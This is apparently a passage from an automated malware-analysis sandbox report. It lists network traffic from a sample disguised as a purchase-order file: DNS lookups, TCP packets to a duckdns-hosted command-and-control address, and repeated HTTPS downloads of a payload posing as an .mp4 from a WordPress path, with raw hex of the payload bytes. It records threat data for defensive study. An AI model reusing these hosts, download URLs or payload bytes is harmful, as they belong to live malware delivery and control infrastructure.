Jan 9, 2025 19:00:27.625785112 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:27.752571106 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:27.757972956 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:27.762798071 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:27.763341904 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:27.768129110 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:37.610044956 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:37.658073902 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:37.784883022 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:37.828824043 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:50.152158976 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:50.157047033 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:50.157125950 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:50.161957026 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:50.717637062 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:50.776798010 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:50.776921988 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:50.781734943 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:50.787178993 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:50.787259102 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:50.792618990 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:58.423043966 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:58.428363085 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:58.430630922 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:58.435453892 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:58.941752911 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:59.000313044 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:59.131656885 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:59.172718048 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:59.943339109 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:59.950299978 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:00:59.950439930 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:00:59.957551003 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:01:00.390357971 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:01:00.438484907 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:01:00.566523075 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:01:00.567349911 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:01:00.572174072 CET	50787	49710	193.187.91.218	192.168.2.5
Jan 9, 2025 19:01:00.572297096 CET	49710	50787	192.168.2.5	193.187.91.218
Jan 9, 2025 19:01:00.577156067 CET	50787	49710	193.187.91.218	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 18:56:53.150109053 CET	60268	53	192.168.2.5	1.1.1.1
Jan 9, 2025 18:56:53.782155991 CET	53	60268	1.1.1.1	192.168.2.5
Jan 9, 2025 18:57:12.627413034 CET	60020	53	192.168.2.5	1.1.1.1
Jan 9, 2025 18:57:12.733664036 CET	53	60020	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 18:56:53.150109053 CET	192.168.2.5	1.1.1.1	0x64f8	Standard query (0)	www.chirreeirl.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 18:57:12.627413034 CET	192.168.2.5	1.1.1.1	0x9ad0	Standard query (0)	pureeratee.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 18:56:53.782155991 CET	1.1.1.1	192.168.2.5	0x64f8	No error (0)	www.chirreeirl.com	chirreeirl.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 18:56:53.782155991 CET	1.1.1.1	192.168.2.5	0x64f8	No error (0)	chirreeirl.com		209.58.149.225	A (IP address)	IN (0x0001)	false
Jan 9, 2025 18:57:12.733664036 CET	1.1.1.1	192.168.2.5	0x9ad0	No error (0)	pureeratee.duckdns.org		193.187.91.218	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.chirreeirl.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	209.58.149.225	443	3668	C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 17:56:54 UTC	220	OUT	GET /wp-panel/uploads/Vwibbc.mp4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: www.chirreeirl.com Connection: Keep-Alive
2025-01-09 17:56:54 UTC	209	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 17:56:54 GMT Server: Apache Last-Modified: Fri, 03 Jan 2025 12:37:34 GMT Accept-Ranges: bytes Content-Length: 1260040 Connection: close Content-Type: video/mp4
2025-01-09 17:56:54 UTC	7983	IN	Data Raw: ca 20 ef 75 c7 15 32 30 87 a8 15 24 29 fa 4b e9 bf 0c 84 b6 85 ca f7 02 a1 01 d8 63 50 e8 46 4a 90 09 2c ef 47 86 63 53 b3 10 00 17 c2 d0 e4 51 c1 39 10 93 e1 e6 f0 62 cf 4d 2b 62 bf 98 5f 60 91 5e 81 e0 94 ae eb 5f e0 0b 14 8a 51 cc 45 d3 f7 07 ec 8a 25 35 67 04 c2 4a ef 0e 4c 4b 43 b3 2a d1 81 ed 20 a3 ed c1 27 6b 82 eb 24 b6 0c 25 bf df 2f 35 63 50 a7 dc 2b d3 ee bb bf 0c bd 42 a7 14 2f 32 0f fc 8e 38 07 a5 43 8b c7 3c fa c4 97 53 22 c6 3d f4 f4 a3 a4 d6 2d 88 73 7c 7c 25 d8 e7 bd e8 b0 82 ca a4 8c e8 73 e1 77 12 e3 ac 43 74 f4 4a 73 64 37 51 41 2f b7 a7 8e cc e4 27 9c 00 18 76 c9 17 eb 32 fc 61 03 88 cd 5f ce cf 54 86 b1 1d 0d b7 dc fd db 49 ec 2f 53 b2 64 33 1d 44 d3 42 9e 57 a9 51 4f b8 e2 6e 0d 01 dd 15 14 14 87 a0 3f ca 94 2c 59 d0 7e 9d 12 4f 02 Data Ascii: u20$)KcPFJ,GcSQ9bM+b_`^_QE%5gJLKC* 'k$%/5cP+B/28C<S"=-s\|\|%swCtJsd7QA/'v2a_TI/Sd3DBWQOn?,Y~O
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 0b eb 2f 8d f9 b9 cd f9 4c 18 4f 71 c7 39 d9 19 da f4 39 9b 25 91 f8 2a 01 81 f8 10 84 8d 46 9e 12 d3 62 f7 f6 42 19 42 69 3e 63 23 9c 55 44 dd bc d6 a5 22 c2 0e 3e ab 14 48 12 32 d3 4f 24 0a 6e 95 b5 55 07 da 4c b9 5c 4a f6 d8 ba e1 ee c6 64 2c cc 83 e1 57 33 32 7a 39 9f f6 4d 10 62 3f 7b fc 76 91 0d b2 1a f3 e3 8c 78 d3 8d fc 6d 54 fb 66 c1 aa 4c e4 ad 3b 69 5d aa 56 dc 22 79 a1 be 79 09 a9 7b d7 90 0d 38 97 d3 f6 f5 88 c9 cf 7b 89 38 cf 9a df e7 5d 50 31 a1 a4 8f 11 32 bb 9a 50 d1 74 54 9e 77 96 ff 46 eb 7c 3f 5f ee 77 09 e1 1a 00 f0 bf ab 8d 1e 77 a6 40 d0 0d 81 44 46 92 9d b2 a0 d1 fb 0e 78 b9 62 51 4d ba d9 d9 7f 33 35 e4 69 3b 3d 12 af df b4 1d e8 37 27 8b b8 4c 86 93 7b 5a 70 1a d0 35 54 6e 39 f2 87 07 16 19 ce 54 fb 36 a4 64 50 4a c5 bb d3 9e 6e Data Ascii: /LOq99%*FbBBi>c#UD">H2O$nUL\Jd,W32z9Mb?{vxmTfL;i]V"yy{8{8]P12PtTwF\|?_ww@DFxbQM35i;=7'L{Zp5Tn9T6dPJn
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 2a 3a c6 a9 a4 a6 03 f5 e2 d3 7e 3c f5 95 1d d1 b8 54 ec a0 54 49 dd d6 59 7c b2 3c d1 04 e5 94 77 e3 89 c2 69 70 b4 39 03 c8 72 e9 89 d2 ed 17 fb 45 a3 68 e8 e0 98 11 cb 17 68 0f 0e a7 e0 2d 5b 52 f8 ff f2 4d d7 95 12 3d 35 34 bb 04 cb 56 f5 81 c8 58 07 2d 4e c9 a9 45 84 45 8d 35 d8 63 2b ec 9d 1e ed e7 b8 a8 99 17 ed 19 81 5e 35 6d 9a c5 70 4d 9a b1 66 db b0 61 b6 83 18 4d bd eb 21 1d 16 83 37 9d 7f af 88 55 7b 78 f4 a3 7a c6 d6 11 4d 07 15 61 a8 c2 6e a4 57 7f 45 80 ce 37 fe 34 af 99 23 70 e8 23 79 84 f7 ae 97 23 9e a9 94 43 a7 66 e3 78 1b 01 ec 9a ae 9d 2b 38 49 1d 0e 25 83 a2 d2 41 eb 5a f8 fc a8 b4 45 82 2b 98 fc 4a 0d 6c 8b c4 9a 9c 38 d8 e5 01 a7 54 72 39 a3 89 2e 30 27 d6 ee df b9 06 d8 60 b4 e2 56 08 aa 92 8d f2 8d 33 fd e0 b3 0f a8 dd ff be f1 Data Ascii: *:~<TTIY\|<wip9rEhh-[RM=54VX-NEE5c+^5mpMfaM!7U{xzManWE74#p#y#Cfx+8I%AZE+Jl8Tr9.0'`V3
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: bd b0 8e c4 d2 2b 47 bf b5 9b 5d 86 f3 63 6e d8 44 2d e1 64 6e cf 11 57 b5 3a de 6e 96 4b 0d fc 83 dd ef 37 a6 d7 21 10 a2 95 35 94 b1 7a 06 28 8a 8a d9 11 41 a7 2e b1 90 98 52 a8 c5 76 8d 89 9b 0e 13 9e 0f 22 f5 be d1 f3 2a 6f 41 1a 28 9d 77 3d aa cc f4 f3 2e e4 fe e7 bb 49 be 64 34 25 dd 6b 31 8b 93 16 b1 04 c7 c7 5a ba 3f b8 bd b4 33 0c e1 5b 17 95 4e b8 26 86 8a 04 e1 5e 2b fa 3a ab fb d6 be 92 0c d7 12 1f 82 52 30 5f fe 0b 06 ba 11 84 dc 00 8e 23 bc 40 b8 51 fa 2d 51 66 9e 7c e5 69 f5 dc 2f 27 f1 0a d1 3a 89 2d 5e b4 8e 2d 20 a1 34 2f f8 a2 8b a5 1e e6 9f 7a d4 1e f1 2e c9 b1 d4 8d 6c 49 aa 61 95 23 86 5d 76 90 f4 57 1b f4 a5 69 5c 4f 94 7f 41 c8 80 43 8a e1 80 05 9d 9b 6b bb cd d9 00 d4 bb b7 1c 50 bc 98 44 a8 0e e4 31 9e 53 56 33 3b 22 99 e9 ac 8c Data Ascii: +G]cnD-dnW:nK7!5z(A.Rv"*oA(w=.Id4%k1Z?3[N&^+:R0_#@Q-Qf\|i/':-^- 4/z.lIa#]vWi\OACkPD1SV3;"
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 18 5f 26 38 49 d3 8b 55 7a a8 63 80 c7 a2 a8 27 3b df 2a f2 34 17 65 52 b6 c3 26 44 af 3e 62 97 cf e3 9c 52 14 26 d9 94 f5 aa d1 e3 e7 90 9d 4a 4f a5 aa b9 3b 28 e7 c5 c8 78 be 58 10 07 29 00 6e 8f 5a 5e 70 fd ec a0 94 43 82 02 b8 81 1e bd a7 ea 51 67 d7 5e 88 8f bc a8 c3 01 2b 24 e6 77 86 27 b1 90 49 a2 4b 9d fa c8 b3 40 23 c0 7d fa b7 1b c6 67 01 67 fb 0b 83 6a cd e9 bb 37 a9 23 df 66 42 3b 93 f5 28 d8 45 62 fe 52 85 a3 d3 db 37 d6 21 d6 5b 6a 7f c5 62 39 fc 92 9c a1 92 e2 4f fa 08 4e ab e6 9b 29 ca 3b b5 d6 af 1e 01 6f 56 7d a7 a6 e6 7a 9a 7c 46 e4 53 87 96 bf ea 6e 31 1c 95 c3 ec 5c 43 e0 8e 3c 50 ee 5a c0 38 21 c7 7f 0a 21 3c f9 f7 8a 74 86 24 b5 7a b2 e3 e1 0c e2 85 d1 5d 48 35 4e e1 4d 3b 2b bc 11 74 3a 16 ff 16 43 87 66 18 47 01 59 b3 50 94 f5 39 Data Ascii: _&8IUzc';*4eR&D>bR&JO;(xX)nZ^pCQg^+$w'IK@#}ggj7#fB;(EbR7![jb9ON);oV}z\|FSn1\C<PZ8!!<t$z]H5NM;+t:CfGYP9
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 44 28 d8 9f ab ef c5 71 cc 06 e3 6c 19 d5 ea eb 36 7b e3 73 8c 64 8a 12 35 34 fb 20 3e 93 4c 51 73 83 e0 57 58 af 57 94 97 30 73 b2 24 02 93 06 ee 29 5a ce 7b a4 7e d5 41 fc 7e 46 98 69 6d 44 8c 87 c0 ef 99 54 57 0c 8f a3 c6 de 96 b4 d9 be 2e 70 f4 b2 5e 31 92 af ce 51 ca 56 1b 58 bc 6f 05 63 ee 7e 6c 86 d8 7d ff b5 a9 59 5e 5a ef ac 6e 3f ab 88 95 ed e5 7f f0 39 64 83 fc d4 a8 c1 43 8e 4d c9 b2 01 59 96 fd ad 84 ad 9f 09 98 17 e6 6b 01 f3 1d 7e b8 d9 90 60 28 58 c2 f1 d0 49 da 69 b7 0f 74 8c 80 e9 d7 a5 97 8d 73 ff 22 f3 40 e6 59 ff 43 87 f4 98 68 6b f1 72 07 b2 40 3e 55 3c c9 c4 54 87 30 c5 c6 16 be 13 c9 0e f5 bf dd 68 f9 3a d0 5f 8b ea 1c c8 b5 a3 32 b2 34 82 6a 8e c4 d7 4b ce 3f fb 1a e5 dc d5 34 cd 20 cf e6 bb e4 96 3d ff 51 67 61 29 47 ed b0 79 40 Data Ascii: D(ql6{sd54 >LQsWXW0s$)Z{~A~FimDTW.p^1QVXoc~l}Y^Zn?9dCMYk~`(XIits"@YChkr@>U<T0h:_24jK?4 =Qga)Gy@
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 72 0c fb b9 d0 de fe 67 3d 5d c1 1e 31 bb 59 c8 74 26 3d 54 6f 6c df 06 1e 01 19 a3 4f f0 19 68 39 3d 19 18 df 9a 0f dd 05 7b c9 a9 b4 0f 9c 10 6d 14 1d 95 2f c0 1e 17 ef 20 5e d7 87 0f df 78 ed 5b 47 2c ad f4 31 97 87 f0 c3 b3 21 e4 da 51 bd 97 25 e4 d5 85 6f f0 3e e6 73 33 62 27 b4 cf 70 71 78 79 bd 87 0e 10 f5 88 61 c1 ce 9b 68 ab 4a a3 c0 ed 2f 4b 76 54 17 49 8f af 46 f2 17 af 51 c2 33 c7 5d e4 54 e5 0d 05 2d e7 9f 57 87 7d 29 a8 3d 57 87 ac 00 6a bd bc 3f d8 71 b0 93 77 bf 65 82 32 63 70 06 3a 3d e7 95 2e 40 a7 2d 42 a0 34 9c c9 5a 98 3d be 19 26 5d a4 e9 38 ee 06 d8 bc bd 91 f4 e3 ad 48 ff f2 03 2c 51 9a ad 67 c0 e0 74 b1 33 a5 38 16 4a e4 54 e3 97 fc 51 8e e7 be e3 10 18 bf 65 68 17 66 46 f2 f6 0e 63 ea 20 4f d1 4c 73 a3 39 6f 22 90 7c 81 6d e1 c1 Data Ascii: rg=]1Yt&=TolOh9={m/ ^x[G,1!Q%o>s3b'pqxyahJ/KvTIFQ3]T-W})=Wj?qwe2cp:=.@-B4Z=&]8H,Qgt38JTQehfFc OLs9o"\|m
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 31 34 73 09 6e 1d 20 25 f6 de 83 20 f0 72 d1 a0 79 f5 98 53 70 bf b0 a0 1d f7 3c 8f 1d 3d 9a 79 49 6c f1 d8 e9 50 65 70 e9 9c bd a4 2f 51 8c 79 75 60 22 18 bb 9e f3 c2 84 18 66 e8 ae 8a eb b6 1a b0 75 11 70 e0 a2 82 0f ce 14 3e 35 39 81 24 c0 10 1a 3c 5d 79 25 b4 a2 f1 a0 70 0b c4 52 de f8 f8 ae d5 99 0d 83 17 ff 63 22 e1 88 9d 63 ae 79 1d 2e 3e 9a 20 35 98 c5 45 b9 81 02 f7 76 a3 5e 90 03 60 44 ab a4 21 48 56 0a bd c1 f0 ce 99 70 de 3d 2c 57 b8 04 67 61 1e e6 65 1a f7 3d 91 95 7d 26 ef ad 59 e4 7d 84 ce 5d 50 9b f0 28 c2 dd 15 e1 97 67 52 00 c5 d5 44 61 9c 00 fe 91 63 d9 a9 2d a8 f4 d3 e3 c7 06 76 a9 a7 22 4e e2 9b bf 7b a7 49 b3 2a 17 ab 85 75 b7 42 d0 96 c2 db 71 d2 cb 42 5a 20 dc a9 d7 bc 12 83 a1 78 5f 3e bf 1b f1 5b da 0f 7b 0f c0 92 7d ec be 6d d7 Data Ascii: 14sn % rySp<=yIlPep/Qyu`"fup>59$<]y%pRc"cy.> 5Ev^`D!HVp=,Wgae=}&Y}]P(gRDac-v"N{I*uBqBZ x_>[{}m
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: e4 1d 1b 40 80 1b 40 3e 1e 3b 58 03 6b fd b4 2c 46 e8 1c e4 4f af 85 16 3b c4 05 a2 9f 7a 43 14 0b 9d 3a ec b3 31 9a 73 7b 89 20 8c 80 66 67 44 6a 79 75 ec 18 df d7 f8 b1 bc 71 a3 1b 8c f1 71 5a c0 f8 bc 0c ab 97 4d 86 e3 d0 d4 5c 3f 17 1a 76 f4 e6 05 bc 58 10 6a 7d 32 d0 dc 62 8b 07 ec 7e f8 1e a6 fb 67 4b a8 c5 1e ef ac b7 62 cf f1 8f 2f 40 d9 7a 22 b1 24 ed 17 63 bf 97 5a 49 3f 8a 8e 74 a6 5a c7 03 9b 6f 29 47 14 6b 18 de f1 b2 e1 84 55 94 de 62 fa 74 4f 02 5c 00 4e 81 b3 38 0e c4 f9 17 c6 b9 25 ac ec 8b a5 41 ec 79 39 fb a8 e1 ae 5c 47 46 9e bd d4 5b 1a 05 1b d3 31 a5 c4 3c dc 46 56 72 d6 b3 91 17 e0 0e 21 42 d6 ea b4 21 d5 5f 5d 2e a5 a4 b3 84 f0 6b e7 7c 8b b0 13 79 0c bc c2 95 e7 9e d1 cc 20 d3 ee 7e cf 79 b0 50 96 9b 68 90 f8 e0 cb ab 3b 64 7b 30 Data Ascii: @@>;Xk,FO;zC:1s{ fgDjyuqqZM\?vXj}2b~gKb/@z"$cZI?tZo)GkUbtO\N8%Ay9\GF[1<FVr!B!_].k\|y ~yPh;d{0
2025-01-09 17:56:54 UTC	8000	IN	Data Raw: 03 c0 d7 67 18 d9 87 53 4b 34 dc 3d a7 21 35 2c 34 ff d0 c2 b5 76 d3 d6 19 41 2f bf 3a a2 48 82 7f 7a 8b e6 c7 74 9a f5 31 4d c6 97 e1 49 0a 74 c9 7b cc 4b 4d f0 8a be f2 37 25 74 26 b3 99 f6 57 8d db 42 36 de 51 a8 59 4c a1 5a b4 a2 cf 3a 4d 1a 03 ef 7d 67 97 6a c1 dd 1c e9 b3 b0 27 92 b8 28 21 89 1a e8 2c 8e b2 72 35 55 09 2d 86 2e f8 65 54 db 8e 5e b7 e2 7c 38 36 68 2d a1 6a 65 dc 69 d9 89 cf 81 eb 8d 96 f3 3d cf 3e bd 1e 14 5c 2d e4 5c 9b 80 7d 3f 05 da 52 2e 52 fb f1 df e1 7f d0 31 ef b1 6b 0b ca 71 67 56 6f 9a 86 e5 aa b9 4e 51 f2 08 45 10 d5 ee 7e 28 3a 30 ce 8b da 21 fe 07 68 fd 11 3c 15 41 f2 92 b7 66 87 b1 c4 91 d6 9e f2 54 ed aa d4 26 f6 53 ea a9 ce 59 1a 36 ba e7 9e b9 a1 3b b5 ff 83 cd 31 e5 4e 30 b9 6a 51 c0 5d 47 b6 81 a6 41 03 c4 ef 23 58 Data Ascii: gSK4=!5,4vA/:Hzt1MIt{KM7%t&WB6QYLZ:M}gj'(!,r5U-.eT^\|86h-jei=>\-\}?R.R1kqgVoNQE~(:0!h<AfT&SY6;1N0jQ]GA#X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	209.58.149.225	443	2300	C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 17:57:16 UTC	220	OUT	GET /wp-panel/uploads/Vwibbc.mp4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: www.chirreeirl.com Connection: Keep-Alive
2025-01-09 17:57:16 UTC	209	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 17:57:16 GMT Server: Apache Last-Modified: Fri, 03 Jan 2025 12:37:34 GMT Accept-Ranges: bytes Content-Length: 1260040 Connection: close Content-Type: video/mp4
2025-01-09 17:57:16 UTC	7983	IN	Data Raw: ca 20 ef 75 c7 15 32 30 87 a8 15 24 29 fa 4b e9 bf 0c 84 b6 85 ca f7 02 a1 01 d8 63 50 e8 46 4a 90 09 2c ef 47 86 63 53 b3 10 00 17 c2 d0 e4 51 c1 39 10 93 e1 e6 f0 62 cf 4d 2b 62 bf 98 5f 60 91 5e 81 e0 94 ae eb 5f e0 0b 14 8a 51 cc 45 d3 f7 07 ec 8a 25 35 67 04 c2 4a ef 0e 4c 4b 43 b3 2a d1 81 ed 20 a3 ed c1 27 6b 82 eb 24 b6 0c 25 bf df 2f 35 63 50 a7 dc 2b d3 ee bb bf 0c bd 42 a7 14 2f 32 0f fc 8e 38 07 a5 43 8b c7 3c fa c4 97 53 22 c6 3d f4 f4 a3 a4 d6 2d 88 73 7c 7c 25 d8 e7 bd e8 b0 82 ca a4 8c e8 73 e1 77 12 e3 ac 43 74 f4 4a 73 64 37 51 41 2f b7 a7 8e cc e4 27 9c 00 18 76 c9 17 eb 32 fc 61 03 88 cd 5f ce cf 54 86 b1 1d 0d b7 dc fd db 49 ec 2f 53 b2 64 33 1d 44 d3 42 9e 57 a9 51 4f b8 e2 6e 0d 01 dd 15 14 14 87 a0 3f ca 94 2c 59 d0 7e 9d 12 4f 02 Data Ascii: u20$)KcPFJ,GcSQ9bM+b_`^_QE%5gJLKC* 'k$%/5cP+B/28C<S"=-s\|\|%swCtJsd7QA/'v2a_TI/Sd3DBWQOn?,Y~O
2025-01-09 17:57:16 UTC	8000	IN	Data Raw: 0b eb 2f 8d f9 b9 cd f9 4c 18 4f 71 c7 39 d9 19 da f4 39 9b 25 91 f8 2a 01 81 f8 10 84 8d 46 9e 12 d3 62 f7 f6 42 19 42 69 3e 63 23 9c 55 44 dd bc d6 a5 22 c2 0e 3e ab 14 48 12 32 d3 4f 24 0a 6e 95 b5 55 07 da 4c b9 5c 4a f6 d8 ba e1 ee c6 64 2c cc 83 e1 57 33 32 7a 39 9f f6 4d 10 62 3f 7b fc 76 91 0d b2 1a f3 e3 8c 78 d3 8d fc 6d 54 fb 66 c1 aa 4c e4 ad 3b 69 5d aa 56 dc 22 79 a1 be 79 09 a9 7b d7 90 0d 38 97 d3 f6 f5 88 c9 cf 7b 89 38 cf 9a df e7 5d 50 31 a1 a4 8f 11 32 bb 9a 50 d1 74 54 9e 77 96 ff 46 eb 7c 3f 5f ee 77 09 e1 1a 00 f0 bf ab 8d 1e 77 a6 40 d0 0d 81 44 46 92 9d b2 a0 d1 fb 0e 78 b9 62 51 4d ba d9 d9 7f 33 35 e4 69 3b 3d 12 af df b4 1d e8 37 27 8b b8 4c 86 93 7b 5a 70 1a d0 35 54 6e 39 f2 87 07 16 19 ce 54 fb 36 a4 64 50 4a c5 bb d3 9e 6e Data Ascii: /LOq99%*FbBBi>c#UD">H2O$nUL\Jd,W32z9Mb?{vxmTfL;i]V"yy{8{8]P12PtTwF\|?_ww@DFxbQM35i;=7'L{Zp5Tn9T6dPJn
2025-01-09 17:57:16 UTC	8000	IN	Data Raw: 2a 3a c6 a9 a4 a6 03 f5 e2 d3 7e 3c f5 95 1d d1 b8 54 ec a0 54 49 dd d6 59 7c b2 3c d1 04 e5 94 77 e3 89 c2 69 70 b4 39 03 c8 72 e9 89 d2 ed 17 fb 45 a3 68 e8 e0 98 11 cb 17 68 0f 0e a7 e0 2d 5b 52 f8 ff f2 4d d7 95 12 3d 35 34 bb 04 cb 56 f5 81 c8 58 07 2d 4e c9 a9 45 84 45 8d 35 d8 63 2b ec 9d 1e ed e7 b8 a8 99 17 ed 19 81 5e 35 6d 9a c5 70 4d 9a b1 66 db b0 61 b6 83 18 4d bd eb 21 1d 16 83 37 9d 7f af 88 55 7b 78 f4 a3 7a c6 d6 11 4d 07 15 61 a8 c2 6e a4 57 7f 45 80 ce 37 fe 34 af 99 23 70 e8 23 79 84 f7 ae 97 23 9e a9 94 43 a7 66 e3 78 1b 01 ec 9a ae 9d 2b 38 49 1d 0e 25 83 a2 d2 41 eb 5a f8 fc a8 b4 45 82 2b 98 fc 4a 0d 6c 8b c4 9a 9c 38 d8 e5 01 a7 54 72 39 a3 89 2e 30 27 d6 ee df b9 06 d8 60 b4 e2 56 08 aa 92 8d f2 8d 33 fd e0 b3 0f a8 dd ff be f1 Data Ascii: *:~<TTIY\|<wip9rEhh-[RM=54VX-NEE5c+^5mpMfaM!7U{xzManWE74#p#y#Cfx+8I%AZE+Jl8Tr9.0'`V3
2025-01-09 17:57:16 UTC	8000	IN	Data Raw: bd b0 8e c4 d2 2b 47 bf b5 9b 5d 86 f3 63 6e d8 44 2d e1 64 6e cf 11 57 b5 3a de 6e 96 4b 0d fc 83 dd ef 37 a6 d7 21 10 a2 95 35 94 b1 7a 06 28 8a 8a d9 11 41 a7 2e b1 90 98 52 a8 c5 76 8d 89 9b 0e 13 9e 0f 22 f5 be d1 f3 2a 6f 41 1a 28 9d 77 3d aa cc f4 f3 2e e4 fe e7 bb 49 be 64 34 25 dd 6b 31 8b 93 16 b1 04 c7 c7 5a ba 3f b8 bd b4 33 0c e1 5b 17 95 4e b8 26 86 8a 04 e1 5e 2b fa 3a ab fb d6 be 92 0c d7 12 1f 82 52 30 5f fe 0b 06 ba 11 84 dc 00 8e 23 bc 40 b8 51 fa 2d 51 66 9e 7c e5 69 f5 dc 2f 27 f1 0a d1 3a 89 2d 5e b4 8e 2d 20 a1 34 2f f8 a2 8b a5 1e e6 9f 7a d4 1e f1 2e c9 b1 d4 8d 6c 49 aa 61 95 23 86 5d 76 90 f4 57 1b f4 a5 69 5c 4f 94 7f 41 c8 80 43 8a e1 80 05 9d 9b 6b bb cd d9 00 d4 bb b7 1c 50 bc 98 44 a8 0e e4 31 9e 53 56 33 3b 22 99 e9 ac 8c Data Ascii: +G]cnD-dnW:nK7!5z(A.Rv"*oA(w=.Id4%k1Z?3[N&^+:R0_#@Q-Qf\|i/':-^- 4/z.lIa#]vWi\OACkPD1SV3;"
2025-01-09 17:57:16 UTC	8000	IN	Data Raw: 18 5f 26 38 49 d3 8b 55 7a a8 63 80 c7 a2 a8 27 3b df 2a f2 34 17 65 52 b6 c3 26 44 af 3e 62 97 cf e3 9c 52 14 26 d9 94 f5 aa d1 e3 e7 90 9d 4a 4f a5 aa b9 3b 28 e7 c5 c8 78 be 58 10 07 29 00 6e 8f 5a 5e 70 fd ec a0 94 43 82 02 b8 81 1e bd a7 ea 51 67 d7 5e 88 8f bc a8 c3 01 2b 24 e6 77 86 27 b1 90 49 a2 4b 9d fa c8 b3 40 23 c0 7d fa b7 1b c6 67 01 67 fb 0b 83 6a cd e9 bb 37 a9 23 df 66 42 3b 93 f5 28 d8 45 62 fe 52 85 a3 d3 db 37 d6 21 d6 5b 6a 7f c5 62 39 fc 92 9c a1 92 e2 4f fa 08 4e ab e6 9b 29 ca 3b b5 d6 af 1e 01 6f 56 7d a7 a6 e6 7a 9a 7c 46 e4 53 87 96 bf ea 6e 31 1c 95 c3 ec 5c 43 e0 8e 3c 50 ee 5a c0 38 21 c7 7f 0a 21 3c f9 f7 8a 74 86 24 b5 7a b2 e3 e1 0c e2 85 d1 5d 48 35 4e e1 4d 3b 2b bc 11 74 3a 16 ff 16 43 87 66 18 47 01 59 b3 50 94 f5 39 Data Ascii: _&8IUzc';*4eR&D>bR&JO;(xX)nZ^pCQg^+$w'IK@#}ggj7#fB;(EbR7![jb9ON);oV}z\|FSn1\C<PZ8!!<t$z]H5NM;+t:CfGYP9
